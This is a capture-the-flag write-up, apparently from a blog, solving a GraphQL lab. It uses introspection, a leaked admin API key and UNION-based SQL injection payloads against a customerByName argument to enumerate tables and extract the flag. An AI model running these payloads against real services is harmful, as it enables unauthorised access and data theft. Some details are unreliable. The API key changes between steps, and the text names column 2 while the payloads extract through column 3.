Introduction
Walking through my solve of the Attack GraphQL Skills Assessment. This one is about probing a GraphQL API through introspection, finding an injectable argument, and chaining that into a full SQL injection to reach the flag.
What makes it interesting is that GraphQL hides its attack surface behind a schema — there's no list of "forms" to test like a normal web app. You have to ask the API to describe itself first, and one small mistake in how you ask can make you miss the exact parameter that's vulnerable.
Step 1: Mapping the Schema with Introspection
First move against any GraphQL target: introspection, asking the API to hand over its own schema.
{
__schema {
types {
name
fields {
name
}
}
}
}
This returned the full type map. The part that mattered was the Query root type:
{"name":"Query","fields":[
{"name":"node"},
{"name":"allEmployees"},
{"name":"employeeByUsername"},
{"name":"allProducts"},
{"name":"productByName"},
{"name":"activeApiKeys"},
{"name":"allCustomers"},
{"name":"customerByName"}
]}
Eight entry points, backed by object types like EmployeeObject, ProductObject, ApiKeyObject, and CustomerObject.
The mistake that almost cost me the attack surface
Next instinct: check what each field returns.
{
__type(name: "Query") {
fields {
name
type { name kind ofType { name kind } }
}
}
}
This showed customerByName returns a CustomerObject — useful, but incomplete. It said nothing about what arguments each field accepts. In GraphQL, a field's return type and its args are two completely separate parts of the schema — querying one tells you nothing about the other.
Why this matters
If you only introspect return types, you see the shape of the data but stay blind to the actual attack surface — the inputs you control. The real question isn't "what does this return?", it's "what can I send it?" So I re-ran introspection asking specifically for args:
{
__type(name: "Query") {
fields {
name
args {
name
type {
name
kind
ofType { name kind }
}
}
}
}
}
This gave the real map — every field's arguments, including employeeByUsername(username: String!), productByName(name: String!), allCustomers(apiKey: String!), and customerByName(apiKey: String!, lastName: String!).
Every one a NON_NULL String — every one a potential injection point.
Step 2: Finding an Admin API Key
allCustomers and customerByName both required an apiKey I didn't have. But activeApiKeys needed no arguments at all:
{
activeApiKeys {
id
role
key
}
}
{"data":{"activeApiKeys":[
{"id":"...","role":"guest","key":"fbb64ce26fbe8a8d8d6895b8e6ba21a3"},
{"id":"...","role":"guest","key":"9cf8622bbc9fdc78f245663e08e5b4c1"},
{"id":"...","role":"admin","key":"0711a879ed751e63330a78a4b195bbad"}
]}}
An admin-scoped key, served with zero authentication. That's the key that unlocks the customer endpoints.
Why this matters
This alone is a serious flaw — API keys, especially privileged ones, should never be readable through an unauthenticated query. In a real engagement, this finding alone would be worth reporting regardless of what came next.
Step 3: Probing Every Argument for SQL Injection
With a valid apiKey, I tested every string argument from Step 1 by appending a classic SQLi probe: ' -- -.
apiKey, username, and name all came back clean. lastName on customerByName did not:
{
customerByName(
lastName: "hassan 'h -- -",
apiKey: "0711a879ed751e63330a78a4b195bbad"
) {
id
firstName
lastName
address
}
}
"errors":[{"message":"(pymysql.err.ProgrammingError) (1064, \"You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right syntax to use near
'h -- -' \n LIMIT 1' at line 3\")
[SQL: SELECT customer.id AS customer_id, customer.`firstName` AS customer_firstName,
customer.`lastName` AS customer_lastName, customer.address AS customer_address
FROM customer
WHERE lastName='hassan 'h -- -'
LIMIT %(param_1)s]
Why this matters
This single error message handed over everything needed for the rest of the attack: the exact table (customer), the exact column names (id, firstName, lastName, address), and confirmation that lastName gets concatenated straight into the query with zero sanitization. A verbose SQL error like this turns a blind injection into a fully sighted one.
Step 4: Confirming the Column Count
The leaked query already showed 4 selected columns, confirmed directly with a matching UNION SELECT:
{
customerByName(
lastName: "hassan' UNION SELECT 1,2,3,4 -- -",
apiKey: "0711a879ed751e63330a78a4b195bad"
) {
id
firstName
lastName
address
}
}
{"data":{"customerByName":{"id":"Q3VzdG9tZXJPYmplY3Q6MQ==","firstName":"2","lastName":"3","address":"4"}}}
firstName, lastName, and address all echoed the exact literal values from the UNION SELECT — 4 columns confirmed working. id stayed as a base64 string instead of showing 1, because GraphQL/Relay always encodes id into an opaque global identifier regardless of the underlying column's actual value. Columns 2, 3, and 4 were all equally usable for exfiltration — I picked column 2 (firstName) going forward, purely out of convenience.
Step 5: Enumerating Database Tables
With a working 4-column injection, I queried information_schema.tables for everything in the current database:
{
customerByName(
lastName: "hassan' UNION SELECT 1,2,GROUP_CONCAT(table_name),4 FROM information_schema.tables WHERE table_schema=database() -- -",
apiKey: "0711a879ed751e63330a78a4b195bad"
) {
id
firstName
lastName
address
}
}
{"data":{"customerByName":{"id":"...","firstName":"2","lastName":"api_key,employee,flag,product,customer","address":"4"}}}
Five tables: api_key, employee, flag, product, customer. One of those doesn't need explaining.
Step 6: Extracting the Flag
{
customerByName(
lastName: "hassan' UNION SELECT 1,2,GROUP_CONCAT(flag),4 FROM flag -- -",
apiKey: "0711a879ed751e63330a78a4b195bad"
) {
id
firstName
lastName
address
}
}
{"data":{"customerByName":{"id":"...","firstName":"2","lastName":"HTB{fxxxxxxxxxxxxxxxxxxxxxxxx5}","address":"4"}}}
🎯 Flag captured: HTB{fxxxxxxxxxxxxxxxxxxxxxxxx5}
Key Takeaways
- introspecting return types alone tells you nothing about arguments — always ask for
argsexplicitly to map the real attack surface - unauthenticated queries that leak API keys are a finding on their own, independent of anything chained after them
- verbose SQL errors from the backend can turn a blind injection into a fully sighted one — read them closely
- GraphQL's
idfield is often an opaque encoded value (Relay global ID), not the raw column — don't rely on it for column-count confirmation
Happy hacking! 🔐
Top comments (0)